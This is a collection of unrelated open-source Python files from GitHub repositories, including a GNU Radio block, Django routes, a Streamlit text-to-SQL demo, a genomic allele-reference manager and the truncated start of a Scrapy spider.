keywords=\"xarray_pickler\",\n name=\"xarray_pickler\",\n packages=find_packages(include=[\"xarray_pickler\", \"xarray_pickler.*\"]),\n test_suite=\"tests\",\n tests_require=test_requirements,\n extras_require={\"docs\": docs_requirements, \"dev\": dev_requirements},\n url=\"https://github.com/cedadev/xarray-pickler\",\n zip_safe=False,\n)\n","repo_name":"cedadev/xarray-pickler","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"40398727556","text":"from gnuradio import gr\n\n# GWN imports\nfrom libgwn.gwnblock_py import gwnblock_py # for all GWN blocks\nfrom libgwn.gwnblock_py import mutex_prt # for tests\n\n\nclass event_router(gwnblock_py):\n '''Outputs received event on port 0 or 1 according to event field values.\n\n Receives an event on its input port, sends this event on either output port 0 or output port 1, according to parameters field_nm_0, field_val_0, field_nm_1, field_val_1. An event which contains C{{field_nm_0:field_val_0}} is sent on output port 0; an event with C{{field_nm_1:field_val_1}} is sent on output port 1. If event does not meet any of those criteria, no event is sent on either output port.\n @ivar field_nm_0: field name 0, key of event dictionary.\n @ivar field_val_0: field value 0, value of field_mn_0 in event dictionary.\n @ivar field_nm_1: field name 1, key of event dictionary.\n @ivar field_val_1: field value 1, value of field_mn_1 in event dictionary.\n '''\n\n def __init__(self, field_nm_0,field_val_0,field_nm_1,field_val_1):\n '''Event router constructor.\n\n @param field_nm_0: field name 0, key of event dictionary.\n @param field_val_0: field value 0, value of field_mn_0 in event dictionary.\n @param field_nm_1: field name 1, key of event dictionary.\n @param field_val_1: field value 1, value of field_mn_1 in event dictionary.\n '''\n gwnblock_py.__init__(self, name='event_router', number_in=1, number_out=2, number_timers=0, number_timeouts=0)\n self.field_nm_0 = field_nm_0\n self.field_val_0 = field_val_0\n self.field_nm_1 = field_nm_1\n self.field_val_1 = field_val_1\n return\n\n\n def process_data(self, ev_rec):\n '''Outputs event on one of the two output ports.\n\n @param ev_rec: event received, a Python dictionary.\n '''\n if self.field_nm_0 in ev_rec and \\\n ev_rec[self.field_nm_0] == self.field_val_0:\n self.write_out(ev_rec, port_nr=0)\n elif self.field_nm_1 in ev_rec and \\\n ev_rec[self.field_nm_1] == self.field_val_1:\n self.write_out(ev_rec, port_nr=1)\n else:\n pass\n return\n\n","repo_name":"vagonbar/gr-gwn3","sub_path":"python/event_router.py","file_name":"event_router.py","file_ext":"py","file_size_in_byte":2145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"33693162740","text":"from django.urls import path, include\n\nfrom . import views\n\nurlpatterns = [\n path(\"\", view=views.endpoints, name=\"endpoints\"),\n path(\"courses/\", view=views.get_courses, name=\"get_courses\"),\n path(\"get_courses_id//\", view=views.get_courses_id, name=\"get_courses_id\"),\n path(\"users_create/\", view=views.users_create, name=\"users_create\"),\n path(\"course_sessions_register/\", view=views.course_sessions_register, name=\"course_sessions_register\"),\n path(\"get_courses_sessions/\", view=views.get_courses_sessions, name=\"get_courses_sessions\"),\n \n # REST URL\n path('api/v1/', include(('client.api.urls'))),\n]","repo_name":"Alexander-Mochinov/teachbase_test","sub_path":"client/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"31929738684","text":"from sys import getsizeof\nimport random\n\n\ndef know_range(n):\n result = \"\"\n half = n // 2\n if n == 1:\n result = \"1\"\n return result\n for i in range(1, half+1):\n result += str(i) + \" \"\n reverse_half = result[::-1]\n reverse_half = reverse_half[1:]\n if n & 1: # если нечетный\n result += str(half+1) + \" \"\n result = result + reverse_half\n return result\n \n\n\n\ndef arr_to_byte_discrete(arr):\n len_arr = 0b1 << len(arr)\n byte_arr = 0b0\n for i in range(0, len(arr) - 1):\n if not arr[i] | 0:\n byte_arr = byte_arr | 0\n else:\n byte_arr = byte_arr | 1\n byte_arr = byte_arr << 1\n byte_arr = len_arr + byte_arr\n return byte_arr\n\n\ndef file_read_to_byte_discrete(f_path):\n res_arr = 0b0\n len_arr = 0b0\n n = 0\n with open(f_path) as f:\n n = int(f.readline()) + 1\n print(n)\n len_arr = 0b1 << n\n buf = \"\"\n #for i in f.read():\n i = \" \"\n while i != \"\":\n i = f.read(1)\n if i != \" \" and i != \"\":\n buf+= i\n else:\n if not int(buf) | 0:\n res_arr = res_arr | 0\n else:\n res_arr = res_arr | 1\n res_arr = res_arr << 1\n buf = \"\"\n f.close()\n #res_arr = res_arr >> 1\n print()\n res_arr = len_arr + res_arr\n res_arr = res_arr >> 1\n print(bin(res_arr))\n return res_arr\n\n\ndef file_write_random_int(dist, length):\n with open('input.txt', mode='w') as f:\n arr = [random.randint(0, dist) for i in range(length)]\n buf = \"\"\n f.write(str(len(arr)))\n f.write('\\n')\n for a in arr:\n buf+= str(a)\n buf+= \" \"\n f.write(buf)\n f.close()\n\n\n\n#file_write_random_int(3, 15)\nprint(know_range(2))\n\nbyte_arr = file_read_to_byte_discrete('input.txt')\nresult_arr = \"\"\nn = len(bin(byte_arr)) - 3\nprint(n)\nnumber = 0\n\n# проверим левый край если там не ноль\nleft_null = 0\nif ((byte_arr >> n-1) & 1):\n number = 0\n for i in range(n-2, -1, -1):\n if not ((byte_arr >> i) & 1): # если найдем нолик выходим\n if number != 0:\n left_null = number\n else:\n left_null = 1\n break\n else:\n number += 1\n if number != 0:\n for i in range(number, 0, -1):\n result_arr += str(i) + \" \"\nnumber = 0\nfor i in range(n-left_null, -1, -1):\n if not ((byte_arr >> i) & 1):\n # найден нолик\n if number != 0:\n result_arr += know_range(number) + \" \"\n result_arr += \"0 \"\n number = 0\n else:\n number += 1\n# проверим правый край если там не ноль просто печатаем номера\nif (byte_arr & 1):\n for i in range(1, number+1):\n result_arr += str(i) + \" \"\nprint(result_arr)\n\n\n\n\n\n\n\n\n\n\nbyte2_arr = bin(0b1100100)\n#print(byte_arr)\n#print(byte2_arr)\n#print(len(byte2_arr))\n\nx = 0b0\nprint(x)\nfor i in range(10):\n x = (x << 1) | 1\n\n\nmy_arr = [0, 1, 4, 9, 0, 1, 2, 6, 0]\nlen_arr = 0b1 << len(my_arr)\nn = len(my_arr)\n\nprint(bin(len_arr))\n\nbyte_arr = 0b0\nfor i in range(0, len(my_arr) - 1):\n if my_arr[i] == 0:\n byte_arr = byte_arr | 0\n else:\n byte_arr = byte_arr | 1\n byte_arr = byte_arr << 1\n\nbyte_arr = len_arr + byte_arr\nprint(bin(byte_arr))\n\nresult_arr = []\n\n\n# левый проход\nnumber = 0\nfor i in range(n-1, -1, -1):\n if not ((byte_arr >> i) & 1):\n # найден нолик\n result_arr.append(0)\n number = 1\n elif number != 0:\n result_arr.append(number)\n number += 1\n else:\n result_arr.append(0)\n\nprint(result_arr)\n# правый проход\nnumber = 0\nres2_arr = []\nfor i in range(n):\n if not ((byte_arr >> i) & 1):\n res2_arr.append(0)\n number = 1\n elif number != 0:\n res2_arr.append(number)\n b = result_arr[n-i-1]\n result_arr[n-i] = (min(b, number))\n number += 1\n else:\n res2_arr.append(0)\n\nprint(res2_arr)\nprint(result_arr)\n","repo_name":"camousmen/PythonLearning","sub_path":"prakticum_task1.py","file_name":"prakticum_task1.py","file_ext":"py","file_size_in_byte":4179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"21299781353","text":"def solution(n, arr1, arr2):\n answer = []\n for i in range(n):\n b1 = list(map(int, format(arr1[i], 'b').zfill(n)))\n b2 = list(map(int, format(arr2[i], 'b').zfill(n)))\n result = ''\n for i in range(n):\n if b1[i] or b2[i]:\n result += '#'\n else:\n result += ' '\n answer.append(result)\n return answer\n\nprint(solution(5, [9, 20, 28, 18, 11], [30, 1, 21, 17, 28]))","repo_name":"kimjy392/exception","sub_path":"프로그래머스/[1]차 비밀지도.py","file_name":"[1]차 비밀지도.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"13622314229","text":"import streamlit as st\nimport openai\nimport sqlite3\nimport pandas as pd\nimport logging\nimport requests\nimport uuid\nfrom helper_funs import check_password, gen_codex_prompt2, execute_sql\n\nSTOP_CODE='###'\n\nopenai.api_key = st.secrets['OPENAI_API_KEY']\n# look at the title of the csv docs in the output folder to find a good model\n# model_string = 'curie:ft-fab-data-2022-04-21-03-27-05'\n# model_string = 'curie:ft-fab-data-2022-05-06-06-26-14'\n# engine = model_string.split(':')[0]\n# date_trained = re.search(r'\\d{4}-\\d{2}-\\d{2}', model_string).group()\n\nif check_password():\n st.title(\"Text to SQL translator\")\n # st.write(\"**Engine**:\" + engine, \"; **Date trained**:\" + date_trained)\n # read contents of instructions.md\n with open('instructions.md') as f:\n instructions = f.read()\n st.write(instructions)\n \n # get list of models\n fts = openai.FineTune.list()\n all_models = [ft['fine_tuned_model'] for ft in fts['data']]\n all_models.reverse()\n model = st.selectbox('Choose fine-tuned model:', all_models)\n\n text = st.text_input(\"Enter question that you would like translated into SQL:\")\n\n if text:\n ft_response = openai.Completion.create(model = model, \n prompt = text + ' ->',\n max_tokens=150, \n temperature=0.05, \n n=1, stream=False, stop=STOP_CODE)\n\n gpt_sql = 'select ' + ft_response['choices'][0]['text']\n gpt_sql_result = execute_sql(gpt_sql)\n \"The SQL generated by the fine-tuned model is:\"\n st.write('`'+ gpt_sql+'`')\n\n if gpt_sql_result is not None:\n st.write(\"The fine-tuned SQL worked! :smiley:\")\n else:\n st.write(\"The fine_tuned SQL failed to execute :thumbsdown:\")\n \n codex_prompt = gen_codex_prompt2(text)\n codex_response = openai.Completion.create(engine='davinci-codex', \n prompt=codex_prompt, \n max_tokens=150, \n temperature=0.05, \n top_p=1, n=1, stream=False, stop=STOP_CODE)\n codex_sql = codex_response['choices'][0]['text']\n \n \"The SQL generated by codex is:\"\n st.write('`'+ codex_sql+'`')\n\n codex_sql_result = execute_sql(codex_sql)\n if codex_sql_result is not None:\n st.write(\"The codex SQL worked! :smiley:\")\n else:\n st.write(\"The codex SQL failed to execute :thumbsdown:\")\n logging.warning('prompt: ' + text + '\\n' + 'model: ' + model + '\\n' + 'gpt_sql: ' + gpt_sql + '\\n' + 'codex_sql: ' + codex_sql)\n \n # replace all double quotes with single quotes so that it doesn't break the json formatting\n gpt_sql2 = gpt_sql.replace('\"',\"'\")\n codex_sql2 = codex_sql.replace('\"',\"'\")\n \n reverse_codex_sql = gpt_sql2 + \"\\n\" + \"# Explanation of what the code does\\n\"\n\n response = openai.Completion.create(\n engine=\"code-davinci-002\",\n prompt=reverse_codex_sql,\n temperature=0,\n max_tokens=60,\n top_p=1.0,\n frequency_penalty=0.0,\n presence_penalty=0.0,\n stop='###'\n )\n \"Converting the SQL from the fine-tuned model back to text via CODEX yields:\"\n st.text(response['choices'][0]['text'])\n \n # Generate a unique ID since dynamodb requires a unique id for all items\n id = str(uuid.uuid4())\n \n # not sure if this header stuff is necessary, but copied from the AWS http API tutorial\n headers = {'Content-Type': 'application/json'}\n \n # create string payload which will be loaded by the lambda function using json.loads\n item = f'{{\"id\": \"{id}\", \"model\": \"{model}\", \"text\": \"{text}\", \"ft_sql\": \"{gpt_sql2}\", \"codex_sql\": \"{codex_sql2}\"}}'\n # st.write(item)\n \n # Call the AWS API I created to log the item to dynamodb and post the results\n r = requests.post('https://nlymbamxbl.execute-api.ap-southeast-2.amazonaws.com/items', headers=headers, data=item)\n st.write(r.text)\n\n","repo_name":"dougj892/sqlfone","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"22605375548","text":"import os\nimport re\nimport pandas as pd\nimport urllib.request\nimport sys\n# from glob import glob\nimport shutil\nimport utilities\nimport seq_utilities\nfrom _collections import defaultdict\nfrom Bio import SeqIO\n\n# LocusTableMask = 'locus_list*.tab'\nLocusTableFile = 'locus_list.tab'\n# LocusTableColumns = ['locus','isORF','isPeptide','basename','URL','expected','species']\nLocusTableEssential = ['locus','URL']\ntrue_values=['True','TRUE','Yes']\nLocusTableBoolColumns = ['isORF','isPeptide','expected']\n\nreferenceSubdirectory = 'reference_sequences/' ##This should be a subdirectory somewhere\n### This retrieves all the information from PubMLST, and provides the allele sequences files when requested.\n## I am putting lookup tables in a separate object, but the MLST table is still here. I can't decide whether to extract it so that it is kept with \n## other lookup tables or whether it should stay here because it is actively retrieved from the PubMLST site.\nscript_version = 0.15 #9 Sept 2015\nscript_subversion =0\n\ndef readAlleleReferences(filename):\n alleles = {}\n if os.path.isfile(filename):\n refDir = os.path.dirname(filename)\n alleles = dict()\n try:\n with open(filename) as fin:\n for line in fin:\n if line[0] != '#':\n (gene,allele_file) = line.rstrip().split('\\t') ##Filename is relative to local_allele_file\n alleles[gene] = os.path.join(refDir,allele_file)\n except IOError:\n print(\"Warning: unable to open local allele master file: {}\".format(filename)) \n return alleles\n \n##Setting dir is where to find information about alleles to use\n## Reference Dir is place to store downloaded alleles (perhaps to be deprecated)\n## Output dir is a place to keep a permanent copy of the references used in this analysis\nreqUpdate='RequireUpdate'\nclass AlleleReferenceManager:\n def __init__(self,settingDir,referenceDir): \n ##Location of settings\n self.setting_directory = settingDir \n\n ##Basic information about the loci to evaluate\n LocusFrameRaw = pd.read_table(os.path.join(settingDir,LocusTableFile),comment='#',dtype=str) \n LocusFrameRaw.set_index(keys='locus',inplace=True,drop=False,verify_integrity=True)\n LocusFrameRaw = utilities.castColumnsToBool(LocusFrameRaw,LocusTableBoolColumns,true_values)\n self.LocusFrame = LocusFrameRaw.dropna(subset=LocusTableEssential,how='any')\n dif = len(LocusFrameRaw) - len(self.LocusFrame)\n if dif > 0:\n print(\"Dropping {} loci due to missing information. Check settings file\".format(dif))\n if len(self.LocusFrame) == 0:\n print(\"Error: no loci identified\")\n# if reqUpdate in self.LocusFrame:\n \n# print(\"Evaluating {} sequences\".format(len(self.LocusFrame)))\n self.allele_data = dict() \n\n self.MLST_profile_file = os.path.join(settingDir,\"MLST_profiles.txt\")\n\n #store a master copy of allele files here; keep as backup\n self.reference_directory = referenceDir\n if not os.path.isdir(self.reference_directory):\n os.mkdir(self.reference_directory)\n \n ##TODO check if this ever should be replaced with a version in the working dir\n self.local_allele_file = self.reference_directory + 'allele_reference.txt'\n self.local_profile_file = self.reference_directory + 'MLST_reference.txt'\n self.MLST_schemes = dict()\n \n #Tell main program to wait if necessary\n self.updated = False ##For tracking if there was background updating\n \n def updateReferences(self, waitForCompletion = True, EssentialOnly = False):\n ##At some point, there will be a thread in here and the option to not wait for completion\n\n ### Read the URLs for allele reference files; Retrieve them if they are not local\n# with open(self.allele_references_file) as allele_file:\n# allele_lines = allele_file.readlines()\n# allele_references = dict([line.split() for line in allele_lines if line != ''])\n ######### Note: handle blank lines better\n remote_references = False\n for URL in self.LocusFrame['URL']:\n if not os.path.isfile(URL):\n remote_references = True\n break \n \n #### Keep track of genes that have reference files\n if remote_references:\n print(\" Updating reference files...\\n\")\n local_references = self.downloadAlleleReferences(EssentialOnly)\n \n\n## TODO: should this be in load references?\n #if a gene does not have a user-specified basename, try to infer it from the file\n # Attempted to make this compatible with both PubMLST.org conventions and MLST.org conventions. \n # This search will fail if the allele name has anything but numbers in it (or if the gene name ends with a number).\n names_updated = False\n nameRE = re.compile(r'>(.*\\D)\\d+$')\n for (gene, filename) in local_references.items():\n if gene in self.LocusFrame.index and not pd.isnull(self.LocusFrame.loc[gene,'basename']): ##test that the name works\n with open(filename) as fin:\n for line in fin:\n if re.match(\">\",line):\n if not re.match(\">\"+self.LocusFrame.loc[gene,'basename'],line):\n raise RuntimeError('Specified basename for {} is inconsistant with usage in allele file'.format(gene))\n else: \n names_updated = True\n name = None\n with open(filename) as fin:\n for line in fin:\n nameMatch = nameRE.match(line)\n if nameMatch:\n new_name = nameMatch.group(1)\n if name == None:\n name = new_name\n elif name != new_name:\n raise RuntimeError('Inconsistant naming in file {}; {} and {}.'.format(filename,name,new_name))\n \n self.LocusFrame.loc[gene,'basename'] = name \n if names_updated:\n out_file = os.path.join(self.setting_directory,\"names_updated.tab\")\n self.LocusFrame.to_csv(out_file,sep='\\t')\n raise ValueError(\"You did not provide a key to permit interpretation of the names in the gene files. We made suggestions. Try replacing your locus list files with {}\".\n format(out_file))\n \n\n #Get profiles\n local_profile_files = dict()\n with open(self.MLST_profile_file) as profiles:\n for line in profiles:\n values = line.split()\n URL = values[1]\n name = values[0]\n local_profiles = self.reference_directory + name + '_profiles.txt'\n if not (EssentialOnly and os.path.isfile(local_profiles)):\n if EssentialOnly:\n print('Cannot proceed without a MLST profile list for {}'.format(name))\n print('To override automatic download, put a properly formatted profile list from PubMLST here:'.format(local_profiles))\n print('Downloading MLST profile for {}'.format(name))\n handle = urllib.request.urlopen(URL)\n temp = local_profiles+'.tmp'\n with open(temp,'wb') as fout:\n fout.write(handle.read())\n ##TODO: if local_profiles exists, we should check that temp is a good replacement. However, I don't know what qualifies as \"good\", since records could theoretically be removed legitimately \n if name == 'Nm':\n try:\n self.reformatNmCC(temp,local_profiles)\n except:\n print(\"Warning: failed to reformat new MLST profile table at {}\".format(temp))\n else:\n os.rename(temp,local_profiles)\n local_profile_files[name] = local_profiles\n #Save a list of the local reference files so that this can be used even if the server is down\n with open(self.local_profile_file,'w') as fout:\n local_dir = os.path.dirname(self.local_profile_file)\n for (gene, filename) in local_profile_files.items():\n file_dir,file_name = os.path.split(filename)\n rel_dir = os.path.relpath(file_dir,local_dir)\n rel_file = os.path.join(rel_dir,file_name)\n fout.write(gene + \"\\t\" + rel_file + \"\\n\") \n\n \n \n ##THis is a logical placeholder for when the above code is threaded\n if waitForCompletion:\n self.updated = False ##\n #~ t = multiprocessing.Process(target=worker)\n #~ t.start()\n #~ t.join()\n else:\n print(\"Background updating not implemented yet\")\n #~ t = threading.Thread(target=worker)\n #~ t.start()\n #~ self.updated = updateThread ## The thread would need to \n \n ##Takes a dict of address for the ultimate reference files (allele_references), downloads them, and saves the list in the \"local_allele_file\"\n def downloadAlleleReferences(self,EssentialOnly=False):\n downloaded_references = dict()\n ####Use the existing local references by default\n default_refs = readAlleleReferences(self.local_allele_file) \n for gene in self.LocusFrame.index:\n if gene in default_refs:\n if os.path.isfile(default_refs[gene]):\n downloaded_references[gene] = default_refs[gene]\n ##Try to download the files, or copy them from the setting directory to the reference directory\n# genes_remaining = set(self.LocusFrame.index.tolist())\n# if EssentialOnly:\n# genes_remaining = [x for x in genes_remaining if x not in downloaded_references]\n# for gene in genes_remaining:\n success = True\n for (gene, row) in self.LocusFrame.iterrows():\n url = row['URL']\n# url = self.LocusFrame.loc[gene,'URL']\n dest_file = os.path.normpath(os.path.join(self.reference_directory,gene+\".fasta\"))\n try:\n if os.path.isfile(url):\n shutil.copyfile(url,dest_file)\n elif os.path.isfile(os.path.join(self.setting_directory,url)):\n shutil.copyfile(os.path.join(self.setting_directory,url),dest_file) \n else: ##Download\n if (EssentialOnly and gene in default_refs): \n if os.path.abspath(dest_file) != os.path.abspath(default_refs[gene]):\n shutil.copyfile(default_refs[gene],dest_file)\n else:\n if EssentialOnly:\n print(\"{} not in local allele file: {}\".format(gene,self.local_allele_file))\n temp_file = dest_file+'.tmp'\n handle = urllib.request.urlopen(url)\n with open(temp_file,'wb') as fout:\n fout.write(handle.read())\n ##Validate\n new_seqs = SeqIO.to_dict(SeqIO.parse(temp_file,'fasta')) \n if len(new_seqs) == 0:\n raise ValueError('Failed to parse PubMLST download file for {}'.format(gene)) \n failed_seq = None\n if not os.path.isfile(dest_file): ##Confirm that old sequences are in the new file\n print(\"Downloaded new sequence for {}\".format(gene))\n else:\n old_seqs = SeqIO.to_dict(SeqIO.parse(dest_file,'fasta'))\n for seq_name,seq in old_seqs.items():\n if seq_name in new_seqs:\n if seq.seq != new_seqs[seq_name].seq:\n failed_seq = seq_name\n print(\"Old seq ({}bp) does not match new seq ({}bp)\".format(len(seq),len(new_seqs[seq_name])))\n break\n else:\n failed_seq = seq_name\n break\n if failed_seq is None:\n print(\"Validated new sequence for {}\".format(gene))\n if failed_seq is None:\n os.rename(temp_file,dest_file) #only overwrite once download is complete\n else:\n print(\"Failed to validate new sequences for {}, due to absence of {}\".format(gene,failed_seq))\n print(\"The URL is: \\n\\t\"+url)\n with open(temp_file) as pubmlst_download:\n line = pubmlst_download.readline()\n print(\"The first line of the downloaded file is: \\n\\t\"+line)\n raise ValueError('Failed to validate PubMLST download file for {}'.format(gene)) \n except ValueError as e:\n print('Download Error for {}; relying on backup file {}. Message : {}'.format(url,self.local_allele_file,e))\n# genes_remaining.remove(gene)\n if not (reqUpdate in row.index) or (row[reqUpdate] in ['True','TRUE','Yes']):\n success = False\n else:\n print(\"Continuing, but you may want to see if newly downloaded file is usable:\"+temp_file)\n \n else:\n downloaded_references[gene] = dest_file ##the exception will not get here\n# genes_remaining.remove(gene)\n #Save a list of the local reference files so that this can be used even if the server is down\n with open(self.local_allele_file,'w') as fout:\n local_dir = os.path.dirname(self.local_allele_file)\n for (gene, filename) in downloaded_references.items():\n file_dir,file_name = os.path.split(filename)\n rel_dir = os.path.relpath(file_dir,local_dir)\n rel_file = os.path.join(rel_dir,file_name)\n fout.write(gene + \"\\t\" + rel_file + \"\\n\") \n if not success:\n sys.exit(\"Failure to download files. Fatal error. Run in --debug mode if you want to run without fresh download\") \n return downloaded_references\n \n \n ##our database reformats the clonal complex names from pubmed\n ##This whole thing should be wrapped in a try block\n def reformatNmCC(self,file_in, file_out):\n profile_table = pd.read_table(file_in,header=0)\n cc_list = profile_table['clonal_complex'].unique()\n print(\"Loading profile table for {}. Has {} profiles in {} clonal complexes\".format('Nm',len(profile_table),len(cc_list)))\n cc_re = re.compile('ST-((/?\\d+)+) complex(.+)?')##'complex' may need to be stripped from end\n for idx, row in profile_table.iterrows():\n CC_ID = row['clonal_complex']\n if (CC_ID == '') or pd.isnull(CC_ID):\n CC_ID = 'unassigned CC for {}'.format(row['ST'])\n else:\n try:\n cc_match = cc_re.match(CC_ID)\n if cc_match:\n refST = cc_match.group(1)\n extraID = cc_match.group(3)\n CC_ID = \"CC\"+refST\n if extraID is not None:\n CC_ID += extraID.replace('complex','').rstrip()\n else:\n print(\"Warning: unable to interpret the clonal complex for ST {}\".format(row['ST']))\n except:\n print('Exception while to reformatting {}'.format(CC_ID))\n profile_table.loc[idx,'clonal_complex'] = CC_ID #pylint: disable=no-member\n if os.path.exists(file_out):\n print(\"Warning: overwriting file {}\".format(file_out))\n profile_table.to_csv(file_out,'\\t',index=False)\n \n def backgroundUpdateOccured(self):\n ##This may need to aqcuire a lock on 'updated' so that it waits for the updating thread to complete\n raise Exception(\"Not implemented\")\n return self.updated ##This will return True if the analysis was performed prior to downloading the \n \n\n# \n# def readAlleleRefNames(self,filename):\n# ## load user-defined basenames for allele identification files\n# allele_reference_name = dict()\n# if os.path.isfile(filename):\n# try:\n# with open(filename) as fin:\n# lines = fin.readlines()\n# allele_reference_name = dict([line.rstrip().split('\\t') for line in lines if line[0] != '#'])\n# except:\n# print(\"Warning: unable to open basename file for reference alleles: {}\".format(filename)) \n# return allele_reference_name\n \n def readAlleleLookupTables(self,filename):\n lookup_tables = dict()\n if os.path.isfile(filename):\n try:\n lookup_tables = dict([line.rstrip().split('\\t') for line in open(filename) if line[0] != '#'])\n except IOError:\n print(\"Warning: unable to open file for allele lookup tables: {}\".format(filename)) \n return lookup_tables\n \n \n def getAlleleFromQuery(self,locus,allele_name):\n query_file = self.getAlleleRefName(locus)\n allele_ID = self.extractAlleleID(locus, allele_name)\n with open(query_file) as query_handle: \n query_seqs = SeqIO.to_dict(SeqIO.parse(query_handle, \"fasta\"))\n try:\n best_seq = query_seqs[allele_name]\n except KeyError:##This should never happen\n print(\"Failure to find query {} in sequence list {}. Contact developer\".format(allele_name,query_file))\n raise\n my_seq = best_seq \n return allele_ID,my_seq \n \n def extractAlleleID(self,locus,allele_name):\n basename = self.getAlleleRefName(locus)\n allele_ID = None \n try:\n allele_ID = re.search(basename+'(.+)$',allele_name).group(1)\n except Exception:\n print('Failure to identify {} in {}'.format(basename,allele_name))\n return allele_ID \n \n\n def loadReferences(self,backupDir = None):\n ##Make backup copy\n if backupDir is not None:\n try:\n shutil.rmtree(backupDir)\n shutil.copytree(self.reference_directory,backupDir)\n except shutil.Error:\n print(\"Error: unable to make backup copy of references...\")\n ##Alleles\n local_alleles = readAlleleReferences(self.local_allele_file)\n ##validate \n gene_set = set(self.LocusFrame.index.tolist())\n local_set = set(local_alleles.keys())\n if local_set < gene_set:\n print(\"Error: local allele file has only {}/{} alleles.\".format(len(local_set),len(gene_set)))\n for gene, file in local_alleles.items():\n if gene in self.LocusFrame.index: ##Do not add new records to LocusFrame -- this is the master controller\n self.LocusFrame.loc[gene,'allele_sequences'] = os.path.normpath(file) \n if self.LocusFrame.loc[gene,'isORF']: ##Only testing for internal stops\n try:\n analysis_dict = seq_utilities.ORF_analysis(file)\n analysis_frame = pd.DataFrame(analysis_dict)\n for i in analysis_frame.index:\n analysis_frame.loc[i,'Allele_ID'] = self.extractAlleleID(gene, analysis_frame.loc[i,'Allele'])\n analysis_frame.set_index('Allele_ID',inplace=True)\n self.allele_data[gene] = analysis_frame\n try:\n analysis_frame.to_csv(os.path.join(backupDir,'Allele_info_{}.tab'.format(gene)),sep='\\t')\n except:\n print(\"Warning: failed to save info about alleles\")\n except (IOError, KeyError):\n self.allele_data[gene] = None\n print(\"Failed to open allele file for gene {}; contact developer.\".format(gene))\n print(file)\n ##TODO: may need to check that all loci have a reference sequence\n print(\"Evaluating alleles for {} loci\".format(sum(self.LocusFrame['allele_sequences'].notnull())))\n Peps = self.LocusFrame['isPeptide'] == True\n print(\"Treating {} sequences as peptides\".format(sum(Peps)))\n ORFs = self.LocusFrame['isORF'] == True\n print(\"Treating {} genes as ORFs\".format(sum(ORFs)))\n ORF_alleles = self.LocusFrame[ORFs].index\n print(\"Treating the following genes as ORFs: {}\".format(', '.join(ORF_alleles)))\n# self.query_basenames = self.readAlleleRefNames(self.allele_reference_names_file)\n ##MLST profiles\n self.MLST_schemes = dict()\n if os.path.isfile(self.local_profile_file):\n refDir = os.path.dirname(self.local_profile_file)\n with open(self.local_profile_file) as profiles:\n for line in profiles:\n values = line.split()\n profile_file = os.path.join(refDir,values[1])\n profile_name = values[0]\n assert os.path.isfile(profile_file), \"MLST scheme {} does not have a file: {}\".format(profile_name,profile_file)\n self.MLST_schemes[profile_name] = profile_file\n else:\n print(\"No local MLST profiles found\")\n\n def getGenesWithPeptides(self):\n result = defaultdict(list)\n pep_frame = self.LocusFrame[self.LocusFrame['DNA_version'].notnull()]\n for _,row in pep_frame.iterrows():\n result[row['DNA_version']].append(row['locus'])\n return result\n \n \n def getMLSTschemes(self):\n return self.MLST_schemes.copy()\n \n def getAlleleRefFile(self,gene):\n# result = self.local_alleles[gene] if gene in self.local_alleles else None\n# return result\n result = self.LocusFrame.loc[gene,'allele_sequences'] if gene in self.LocusFrame.index else None\n return result\n \n def getAllRefFiles(self):\n return self.LocusFrame['allele_sequences'].dropna().tolist()\n \n def getAlleleRefName(self,gene):\n# return self.query_basenames[gene]\n result = self.LocusFrame.loc[gene,'basename'] if gene in self.LocusFrame.index else None\n return result\n \n def getAlleleDataFrame(self,gene):\n result = self.allele_data[gene] if gene in self.allele_data else None\n return result\n \n def getLoci(self):\n return self.LocusFrame['locus'].tolist()\n \n \n def isORF(self,gene):\n return (gene in self.LocusFrame.index) and (self.LocusFrame.loc[gene,'isORF'] == True)\n \n def expected_gene(self,gene):\n return (gene in self.LocusFrame.index) and (self.LocusFrame.loc[gene,'expected'] == True)\n \n def isPep(self,gene):\n return (gene in self.LocusFrame.index) and (self.LocusFrame.loc[gene,'isPeptide'] == True)\n\nimport argparse\ndef main():\n ## Simple argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('--version','-V',action='version',version='%(prog)s {}.{}'.format(script_version,script_subversion))\n parser.add_argument('-s','--setting_dir',help='Location of setting files')\n parser.add_argument('-r','--reference_dir',help='Location of reference files')\n# parser.add_argument('-o','--output_dir',help='Location to write any output')\n parser.add_argument('--update',help=\"Update files in reference dir\")\n args = parser.parse_args()\n \n homeDir = os.path.dirname(os.path.realpath(__file__))\n settingDir = args.setting_dir if args.setting_dir else os.path.join(homeDir,'settings/')\n referenceDir = args.reference_dir if args.reference_dir else os.path.join(homeDir,referenceSubdirectory)\n# outputDir = args.output_dir if args.output_dir else os.getcwd()\n arm = AlleleReferenceManager(settingDir,referenceDir) \n if args.update:\n arm.updateReferences(True) \n \nif __name__ == \"__main__\":\n main()\n \n# _arm.updateAllFiles()\n","repo_name":"CDCgov/BMGAP","sub_path":"pipeline/locusextractor/AlleleReferenceManager.py","file_name":"AlleleReferenceManager.py","file_ext":"py","file_size_in_byte":24879,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"9840185073","text":"# -*- coding: utf-8 -*-\n\nimport re,chardet,redis,sys,threading,jieba.analyse\n\nfrom mycrawler.util.jparser import PageModel\nfrom scrapy_redis.spiders import RedisSpider\nfrom scrapy import Request\nfrom ..items.items import MyCrawlerItem\nfrom ..util import url_cleaning\nfrom ..settings import REDIS_URL,BOT_NAME,ENABLE_PROXY\nfrom ..util.get_proxy import get_proxy\nfrom ..util.distributed_lock import dist_lock\nfrom ..util.get_json_page_content import getitemcontent\n\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\n\nclass test_spider(RedisSpider):\n\n name = \"mycrawler\"\n\n def __init__(self, name=None, 